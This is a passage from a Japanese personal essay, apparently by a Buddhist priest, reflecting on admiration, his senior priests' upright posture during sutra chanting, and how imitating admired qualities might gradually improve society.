とありました。1の意味で十分なんでしょうけれど、2と3も含めて考えると、自分には出来ないことを平然とやってのける人に対して抱く感情なんだろうなと思いました。

さて、そのような人は居ただろうかと思い起こしてみると、身近な先輩の日常の所作振る舞いの中に見つけることができました。その一つに姿勢があります。

たまに「御講師は姿勢が良いですね」と言われる事があります。「良くしようと背筋伸ばしてるから良いんだよ」と必ず答えるのですが、私は猫背です。子どもの時分いつも怒られました。弓を引くようになって姿勢の正し方を知りましたからそれなりに見えるようですが、ちょっとでも気を抜くとふにゃふにゃになってしまいます。

見習いの時分先輩方がシャキーンとして御看経を上げる姿を見て、「格好いいな」と思う、これに尽きます。御宝前に座るんだから気を抜いている場合では無いな、とか理屈は後からどうとでもなりますが、「格好いい→真似をしよう」衝動的になるのはコレでしょう。 

憧れて真似をした自分をみて、さらにその姿に憧れて真似をして貰えればこんな嬉しいことはないものです。そして人の良い点に憧れ、真似していく、そのサイクルが幾つも繰り返されてゆけば、いずれ世界を変えるのも大げさでは無いかもしれませんね。

私一人の力は微力なものですが、そのサイクルに加わり、社会全体に少しでも良い影響が与えていけるように、他に憧れたことを実践していきたいと思います。

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